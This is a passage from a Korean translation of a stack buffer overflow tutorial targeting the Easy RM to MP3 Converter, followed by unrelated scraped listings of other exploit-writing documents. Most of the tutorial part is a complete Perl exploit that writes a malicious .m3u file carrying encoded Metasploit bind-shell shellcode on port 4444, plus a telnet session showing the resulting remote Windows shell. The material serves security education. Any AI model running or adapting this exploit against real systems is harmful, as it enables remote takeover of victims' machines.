
32 계산기가실행되면서공격에성공하였다. 원격쉘실행 계산기를실행시키는쉘코드대신원격으로커맨드라인을실행시키는쉘코드를만들수도있다. 그러나이것은제대로작동하지않을수도있는데, 그이유는쉘코드가크고, 메모리위치가다를수있고, 쉘코드에유효하지않은문자들을증가시킬위험이있다. 특정포트를열어원격으로쉘을획득하여커맨드라인을실행시키는것을시도해보자. 여기서필요한쉘코드는 Bind 쉘코드이다 ( 역자추가 : 원문에나오는쉘코드를그대로사용할경우제대로실행되지않을것이다. RHOST 부분등쉘코드를만들때주의해야할부분이있다. RHOST에들어갈 IP주소를확인해보자 ). 쉘코드를사용할때발생하는일반적인문제들중에는쉘코드버퍼의크기와유효하지않은문자들이들어가있는경우등이있다. Metasploit로쉘코드를만들때유효하지않은문자들은배제하고만들어야하며, 사전에어떤문자들이허용되고허용되지않는지알고있어야한다. M3u 파일은파일명을담고있을지도모른다. 그래서파일명과파일경로에서허용되지않는모든문자는필터링하는것이좋다. 최종공격에서사용할쉘코드는다음과같다. # windows/shell_bind_tcp 703 bytes # # Encoder: x86/alpha_upper

33 # EXITFUNC=seh, LPORT=4444, RHOST= "\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49". "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56". "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41". "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42". "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42". "\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b". "\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47". "\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a". "\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43". "\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a". "\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44". "\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a". "\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a". "\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c". "\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a". "\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45". "\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50". "\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45". "\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c". "\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43". "\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43". <...> "\x50\x41\x41"; 이쉘코드가제대로작동만한다면원격쉘을획득하고, 만약이어플리케이션이관리자권한으로실행되고있다면원격 Windows 시스템의관리자권한을획득할수있을것이다. 다음은우리가최종목표로삼았던 exploit 코드이다.. # # Exploit for Easy RM to MP vulnerability, discovered by Crazy_Hacker # Written by Peter Van Eeckhoutte ( 수정 : vangelis) # # Greetings to Saumil and SK : ) # # tested on Windows XP SP2 (KO) 원문은 XP SP3 (EN) 이었음 # # my $file= "exploitrmtomp3.m3u";

34 my $junk= "A" x 26071; my $eip = pack('v', 0x01eaf23a); #jmp esp from MSRMCcodec00.dll( 역자의시스템 ) my $shellcode = "\x90" x 25; # windows/shell_bind_tcp 703 bytes # # Encoder: x86/alpha_upper # EXITFUNC=seh, LPORT=4444, RHOST= $shellcode = $shellcode. "\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49". "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56". "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41". "\x42\x41\x41\x42\x54\x00\x41\x51\x32\x41\x42\x32\x42\x42". "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42". "\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b". "\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47". "\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a". "\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43". "\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a". "\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44". "\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a". "\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a". "\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c". "\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a". "\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45". "\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50". "\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45". "\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c". "\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43". "\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43". "\x47\x43\x43\x47\x42\x51\x4f\x50\x54\x4b\x4f\x48\x50\x42". "\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48". "\x56\x51\x4f\x4d\x59\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x43". "\x38\x43\x32\x46\x35\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x42". "\x48\x48\x59\x45\x59\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48". "\x56\x46\x33\x46\x33\x46\x33\x50\x53\x50\x53\x50\x43\x51". "\x43\x51\x53\x46\x33\x4b\x4f\x4e\x30\x43\x56\x45\x38\x42". "\x31\x51\x4c\x42\x46\x46\x33\x4c\x49\x4d\x31\x4a\x35\x42". "\x48\x4e\x44\x44\x5a\x44\x30\x49\x57\x50\x57\x4b\x4f\x48".

35 "\x56\x43\x5a\x44\x50\x50\x51\x51\x45\x4b\x4f\x4e\x30\x43". "\x58\x49\x34\x4e\x4d\x46\x4e\x4b\x59\x50\x57\x4b\x4f\x4e". "\x36\x50\x53\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x50". "\x49\x4d\x56\x50\x49\x51\x47\x4b\x4f\x48\x56\x50\x50\x50". "\x54\x50\x54\x46\x35\x4b\x4f\x48\x50\x4a\x33\x45\x38\x4a". "\x47\x44\x39\x48\x46\x43\x49\x50\x57\x4b\x4f\x48\x56\x50". "\x55\x4b\x4f\x48\x50\x42\x46\x42\x4a\x42\x44\x45\x36\x45". "\x38\x45\x33\x42\x4d\x4d\x59\x4b\x55\x42\x4a\x46\x30\x50". "\x59\x47\x59\x48\x4c\x4b\x39\x4a\x47\x43\x5a\x50\x44\x4b". "\x39\x4b\x52\x46\x51\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x47". "\x32\x46\x4d\x4b\x4e\x51\x52\x46\x4c\x4d\x43\x4c\x4d\x42". "\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b". "\x4e\x4e\x53\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x49". "\x46\x51\x4b\x46\x37\x46\x32\x50\x51\x50\x51\x46\x31\x42". "\x4a\x45\x51\x46\x31\x46\x31\x51\x45\x50\x51\x4b\x4f\x48". "\x50\x43\x58\x4e\x4d\x4e\x39\x45\x55\x48\x4e\x51\x43\x4b". "\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4f\x47\x47\x4b\x4f\x48". "\x50\x4c\x4b\x46\x37\x4b\x4c\x4c\x43\x49\x54\x45\x34\x4b". "\x4f\x4e\x36\x50\x52\x4b\x4f\x48\x50\x43\x58\x4c\x30\x4c". "\x4a\x44\x44\x51\x4f\x46\x33\x4b\x4f\x48\x56\x4b\x4f\x48". "\x50\x41\x41"; open($file,">$file"); print $FILE $junk.$eip.$shellcode; close($file); print "m3u File Created successfully\n"; 최종만들어진 exploit을어플리케이션을통해로딩해보자. ( 역자추가 : 공격자의의도대로쉘코드가제대로실행되었다면 4444 포트가열려있을것이다. 공격자는공격전에포트스캐닝을통해포트가열려있는것을확인할수있을것이다. 그러나역자의경우여러가지바인드쉘코드를이용해공격을해보았으나 4444 포트가열리지는않았다. 이문제의원인이무엇인지좀더테스트가필요할것으로보인다. 다음은원저자의테스트결과인데, 만약 4444번포트가열렸다면다음과같이열린포트로접속을하면원격쉘을이용할수있을것이다. 역자는좀더테스트를해보고역자의시스템에서테스트에실패한원인을찾을경우수정된문서를올리도록할것이다.) root@bt:/# telnet Trying Connected to

36 Escape character is '^]'. Microsoft Windows XP [Version ] (C) Copyright Microsoft Corp. C:\Program Files\Easy RM to MP3 Converter> 2009, Peter Van Eeckhoutte. All rights reserved. Terms of Use are applicable to all content on this blog. If you want to use/reuse parts of the content on this blog, you must provide a link to the original content on this blog.

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo 본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasploit Framework(MSF) 이란? bluearth in N@R 2003년오픈소스로발표된취약점발견및공격을위한

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

Evernote Export

Evernote Export Exploit writing tutorial part 1 : Stack Based Overflows ** 번역목적 - 이 Article 은 corelan.be 에있는버퍼오버플로우에관한문서이다. 총 11 개의 Article 로구성되어있으며, 과연언제까지번역작업을할지모르겠다. -_-; 오역은원문을보시면서알아서해석하시기바란다. 영어공부및 BOF 개념이해목적으로번역

More information

Exploit writing tutorials

Exploit writing tutorials EXPLOIT WRITING TUTORIALS C1 STACK BASED BUFFER OVERFLOW KIM DONG HYUN WHATTEAM & LET S CQ & KOREA IT TECHNICAL SCHOOL rlaehdgus213@naver.com 페이지 0 / 24 Exploit writing tutorials C1 Stack Based Buffer

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관련된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에

문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관련된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에 문서번호 13-VN-06 공격코드작성따라하기 ( 원문 : 공격코드 Writing Tutorial 4) 2013.1 작성자 : ( 주 ) 한국정보보호교육센터서준석주임연구원 오류신고및관련문의 : nababora@naver.com 문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 2013.01.31 본문서는원문작성자 (Peter Van Eeckhoutte)

More information

how_2_write_Exploit_4_the_MSF_v3.x.hwp

how_2_write_Exploit_4_the_MSF_v3.x.hwp Metasploit v3.0 을이용한 Exploit 작성하기 2008.1.18 본문서는 Jerome 님의 Writing Windows Exploits 을기반으로작성된문서임을밝힙니다. rich4rd rich4rd.lim@gmail.com - 1 - 목차. 1. 소개및개요 2. 배경지식 3. Exploit module 실습 3.1 Exploit module 수정하기

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환 취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugger

Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugger 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg 1.x, Immunity

More information

Microsoft PowerPoint - hy2-12.pptx

Microsoft PowerPoint - hy2-12.pptx 2.4 명령어세트 (instruction set) 명령어세트 CPU 가지원하는기계어명령어들의집합 명령어연산의종류 데이터전송 : 레지스터 / 메모리간에데이터이동 산술연산 : 덧셈, 뺄셈, 곱셈및나눗셈 논리연산 : 비트들간의 AND, OR, NOT 및 XOR 연산 입출력 (I/O) : CPU( 레지스터 ) 와외부장치들간의데이터이동 프로그램제어 : 분기, 서브루틴호출

More information

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

ActFax 4.31 Local Privilege Escalation Exploit

ActFax 4.31 Local Privilege Escalation Exploit NSHC 2013. 01. 14. 취약점분석보고서 Information Service about a new vulnerability Version 1.0 [ ] 2012 Red Alert. All Rights Reserved. 목차 1. 개요... 3 2. 공격... 4 3. 분석... 8 4. 결론... 12 5. 대응방안... 12 6. 참고자료... 13

More information

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost 익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter 2.7.3 ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost Easy RM to MP3 Converter_v2.7.3을이용하여 ROP 공격에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

1.hwp

1.hwp 윈도우 멀티미디어 취약점 분석 방법론 연구 수탁기관 : 한양대학교 산학협력단 2009. 09 25,000 2008 2009(1~8월 ) 20,000 15,000 11,818 10,000 5,000-11,362 3,344 2,756 603 173 2-366 165 1 1 기업 대학 비영리 연구소 네트워크 기타(개인)

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

Microsoft Word - SEH_Overwrites_Simplified.doc

Microsoft Word - SEH_Overwrites_Simplified.doc SEH Overwrites Simplified v1.01 1 Date : 2007. 10. 29 저자 : Aelphaeis Mangarae 편역 : Kancho ( kancholove@gmail.com, www.securityproof.net ) 머리말 이문서는 Stack 다이어그램을이용하여두개의다른 Windows 플랫폼에서의 SEH Overwrite를다룹니다.

More information

Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri

Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri Windows System Hacking Technique Author E-Mail Blog Community Company : 조현석 (evernick) : 김언체 (ruina) : evernick@naver.com : ruina_s@naver.com : http://ruinick.tistory.com : http://cafe.naver.com/rekcah

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

Microsoft Word - GOM-StackOverFlow.doc

Microsoft Word - GOM-StackOverFlow.doc GOM Player 2.0.12 (.ASX) Stack Overflow Exploit Document V0.2 HACKING GROUP OVERTIME OVERTIME mrboo< bsh7983@gmail.com > 2009.01.10 이문서는 2009.01.08일자로 milw0rm에 DATA_SNIPER께서등록한곰플레이어관련 exploit을분석한문서이다.

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음

More information

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우 취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] 2012-07-19 RedAlert Team_ 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. Power2Go name Stack Buffer Overflow 취약점요약... 1 2.

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

Microsoft Word - Heap_Spray.doc

Microsoft Word - Heap_Spray.doc Heap Spray 본문서는 최근 웹 브라우저를 이용한 공격에 사용되는 Heap Spray 기법에 대한 내용을 수록하였다. 관련 내용에 대하여 많은 도움이 되기 바란다. 문서 내용은 초보자도 쉽게 이해할 수 있도록 관련 내용에 대한 설명을 포함하였다. Hacking Group OVERTIME force< forceteam01@gmail.com > 2007.05.13

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack)

More information

API 매뉴얼

API 매뉴얼 PCI-DIO12 API Programming (Rev 1.0) Windows, Windows2000, Windows NT and Windows XP are trademarks of Microsoft. We acknowledge that the trademarks or service names of all other organizations mentioned

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

<4D F736F F F696E74202D203137C0E55FBFACBDC0B9AEC1A6BCD6B7E7BCC72E707074>

<4D F736F F F696E74202D203137C0E55FBFACBDC0B9AEC1A6BCD6B7E7BCC72E707074> SIMATIC S7 Siemens AG 2004. All rights reserved. Date: 22.03.2006 File: PRO1_17E.1 차례... 2 심벌리스트... 3 Ch3 Ex2: 프로젝트생성...... 4 Ch3 Ex3: S7 프로그램삽입... 5 Ch3 Ex4: 표준라이브러리에서블록복사... 6 Ch4 Ex1: 실제구성을 PG 로업로드하고이름변경......

More information

Microsoft PowerPoint - a10.ppt [호환 모드]

Microsoft PowerPoint - a10.ppt [호환 모드] Structure Chapter 10: Structures t and Macros Structure 관련된변수들의그룹으로이루어진자료구조 template, pattern field structure를구성하는변수 (cf) C언어의 struct 프로그램의 structure 접근 entire structure 또는 individual fields Structure는

More information

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조 - Part2- 제 2 장다차원배열이란무엇인가 학습목차 2.1 다차원배열이란 2. 2 2 차원배열의주소와값의참조 2.1 다차원배열이란 2.1 다차원배열이란 (1/14) 다차원배열 : 2 차원이상의배열을의미 1 차원배열과다차원배열의비교 1 차원배열 int array [12] 행 2 차원배열 int array [4][3] 행 열 3 차원배열 int array [2][2][3]

More information

Chapter 4. LISTS

Chapter 4. LISTS C 언어에서리스트구현 리스트의생성 struct node { int data; struct node *link; ; struct node *ptr = NULL; ptr = (struct node *) malloc(sizeof(struct node)); Self-referential structure NULL: defined in stdio.h(k&r C) or

More information

Microsoft PowerPoint - secu10.pptx

Microsoft PowerPoint - secu10.pptx Buffer Overflow Chap 10. Buffer Overflow a very common attack mechanism 1988 년 the Morris Worm 가처음사용한방법 버퍼에저장되는데이터의크기를검사하지않는, 프로그램의부주의한점을이용 prevention techniques 이알려져있음 여전히많은관심대상임 널리배포되어사용중인운영체제와응용프로그램에이러한버그가있는코드가존재함

More information

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

